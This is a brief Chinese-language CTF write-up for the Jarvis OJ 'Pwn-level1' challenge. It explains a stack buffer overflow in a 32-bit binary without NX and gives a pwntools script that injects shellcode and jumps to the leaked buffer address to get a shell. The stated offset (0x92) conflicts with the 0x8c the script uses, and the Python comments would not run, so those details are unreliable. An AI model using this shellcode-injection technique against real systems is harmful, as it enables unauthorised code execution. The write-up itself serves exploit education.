Pwn-level1

题目地址

32位的ELF

没有保护

用IDA打开看看，没有发现可以直接利用的函数，但是有一个vulnerable_function函数

没有NX的保护，可以输入一段shellcode在buf中，函数返回时跳转到buf位置，就可以执行shellcode

先看一下buf到ret的偏移

0x4到-0x88 一共偏移了0x92

现在还需要一个buf的地址

执行这个文件的时候，会跳出一个地址，这个就是buf的地址

exp

from pwn import *
r = remote("pwn2.jarvisoj.com",9877)
shellcode = asm(shellcraft.sh()) //通过pwntool的函数获取shellcode
buffer=r.recvline()[14:-2]  //截取字符串里面的地址 ff890e80
buf_addr = int(buffer,16)
payload = 'a' * (0x88+0x4-len(shellcode))+shellcode + p32(buf_addr)
r.sendline(payload)
r.interactive()

执行结果